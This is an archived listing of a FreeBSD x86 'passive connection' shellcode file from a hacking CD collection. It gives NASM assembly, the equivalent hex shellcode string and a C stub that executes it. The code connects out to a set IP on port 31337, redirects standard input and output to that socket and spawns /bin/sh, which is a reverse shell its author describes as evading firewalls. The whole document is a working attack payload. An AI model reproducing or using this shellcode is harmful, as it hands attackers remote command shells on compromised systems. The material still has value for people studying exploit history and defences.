home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / freebsd / passive_connect.c < prev   
Encoding:
C/C++ Source or Header  |  2000-10-21  |  4.8 KB  |  144 lines

  1. ; Passive Connection Shellcode
  2. ;
  3. ; Coded by Scrippie - ronald@grafix.nl - http://b0f.freebsd.lublin.pl
  4. ; Buffer0verfl0w Security
  5. ; Why? This evades firewalls...
  6. ;
  7. ; YES, this is for NASM, I detest AT&T syntaxis - it's gross and unreadable
  8. ;
  9. ; This is the FreeBSD variant I whipped up
  10. ;
  11. ; Tnx to dvorak for pointing out that BSD's int 80h assumes a stored EIP
  12. ; on the stack before making it and that BSD has a somewhat different
  13. ; sockaddr_in structure (containing sin_len)
  14.  
  15.         BITS 32
  16.  
  17. ; Equates - keeps this stuff a lot more clear
  18.  
  19. PORT            equ 31337               ; What an eleet port!
  20.  
  21. _exit           equ 1                   ; See /usr/src/sys/kern/syscalls.c
  22. execve          equ 59                  ; See /usr/src/sys/kern/syscalls.c
  23. dup2            equ 90                  ; See /usr/src/sys/kern/syscalls.c
  24. socket          equ 97                  ; See /usr/src/sys/kern/syscalls.c
  25. connect         equ 98                  ; See /usr/src/sys/kern/syscalls.c
  26.  
  27. IPPROTO_TCP     equ 6                   ; See netinet/in.h
  28. PF_INET         equ 2                   ; See sys/socket.h
  29. SOCK_STREAM     equ 1                   ; See sys/socket.h
  30.  
  31. sockaddr_in_off equ 0
  32. shell_off       equ 8
  33. shell_ptr_off   equ 16
  34.  
  35.         jmp short EndCode
  36.  
  37. Start:
  38.         pop esi                         ; Get offset data in esi
  39.  
  40.         xor eax, eax
  41.         xor ebx, ebx
  42.  
  43.         mov bl, IPPROTO_TCP             ; Push IPPROTO_TCP
  44.         push ebx
  45.         mov bl, SOCK_STREAM             ; Push SOCK_STREAM
  46.         push ebx
  47.         mov bl, PF_INET                 ; Push PF_INET
  48.         push ebx
  49.         push ebx                        ; Skipped by int 80h
  50.         mov al, socket                  ; Select socket() syscall
  51.  
  52.         int 80h                         ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
  53.         mov edx, eax                    ; Save the resulting socket descriptor
  54.  
  55.         mov byte [esi+sockaddr_in_off+1], PF_INET ; sin_family -> PF_INET
  56.         mov word [esi+sockaddr_in_off+2], PORT  ; Set the port number
  57.  
  58.         mov bl, 16                      ; sizeof(sockaddr_in)
  59.         push ebx
  60.  
  61.         lea ebx, [esi+sockaddr_in_off]  ; Get offset sockaddr_in into ebx
  62.         push ebx                        ; Push it
  63.         push eax                        ; Still holds sockfd
  64.         push eax                        ; Canary value
  65.  
  66.         mov al, connect                 ; Select connect() syscall
  67.         int 80h                         ; connect(sockfd, sockaddr_in, 10)
  68.  
  69.         xor ebx, ebx
  70.         push ebx
  71.         push edx
  72.         mov al, dup2                    ; Select dup2 syscall
  73.  
  74.         push eax                        ; Ruined
  75.         int 80h
  76.  
  77.         inc bl
  78.         push ebx
  79.         push edx
  80.         mov al, dup2                    ; Do the same for stdout
  81.         
  82.         push eax
  83.         int 80h
  84.  
  85.         inc bl
  86.         push ebx
  87.         push edx
  88.         mov al, dup2                    ; And finally for stderr
  89.  
  90.         push eax
  91.         int 80h
  92.  
  93.         xor ebx, ebx
  94.         push ebx                        ; *envp == NULL
  95.  
  96.         lea edi, [esi+shell_off+7]
  97.         xor eax, eax
  98.         xor ecx, ecx
  99.         mov cl, 9
  100.         repe stosb
  101.  
  102.         lea ebx, [esi+shell_off]        ; Get offset shell into ebx
  103.         mov [esi+shell_ptr_off], ebx    ; Store it at shell_off
  104.         lea ecx, [esi+shell_ptr_off]    ; Get offset shell_off into ecx
  105.         push ecx                        ; argp
  106.         push ebx                        ; command
  107.  
  108.         push eax                        ; canary
  109.         mov al, execve
  110.         int 80h                         ; Spawn the frikkin' shell
  111.  
  112.         mov al, _exit                   ; _exit() system call
  113.         int 80h                         ; Do it
  114.  
  115. EndCode:
  116.         call Start
  117.  
  118. sockaddr_in     db 'ABCC'               ; A=sin_len - B=sin_family - C=port
  119.                 dd 0x100007f            ; IP addr (s_addr) in htonl() form
  120. ; 8 bytes not needed ;)
  121.  
  122. shell           db '/bin/sh' ;,0
  123. ;shell_ptr      db 1,2,3,4
  124.  
  125. ------------------------------------------------------------------------------
  126.  
  127. And here's the shellcode equivalent
  128.  
  129. char shellcode[]=
  130. "\xeb\x68\x5e\x31\xc0\x31\xdb\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x53\xb0\x61\x
  131. cd\x80\x89\xc2\xc6\x46\x01\x02\x66\xc7\x46\x02\x69\x7a\xb3\x10\x53\x8d\x1e\x53\
  132. x50\x50\xb0\x62\xcd\x80\x31\xdb\x53\x52\xb0\x5a\x50\xcd\x80\xfe\xc3\x53\x52\xb0
  133. \x5a\x50\xcd\x80\xfe\xc3\x53\x52\xb0\x5a\x50\xcd\x80\x31\xdb\x53\x8d\x7e\x0f\x3
  134. 1\xc0\x31\xc9\xb1\x09\xf3\xaa\x8d\x5e\x08\x89\x5e\x10\x8d\x4e\x10\x51\x53\x50\x
  135. b0\x3b\xcd\x80\xb0\x01\xcd\x80\xe8\x93\xff\xff\xff\x41\x42\x43\x43\x7f\x00\x00\
  136. x01\x2f\x62\x69\x6e\x2f\x73\x68";                    ^
  137.                                      Start of IP addr
  138. void main() {
  139.         int *ret;
  140.  
  141.         ret = (int *)&ret + 2;
  142.         (*ret) = (int)shellcode;
  143. }
  144.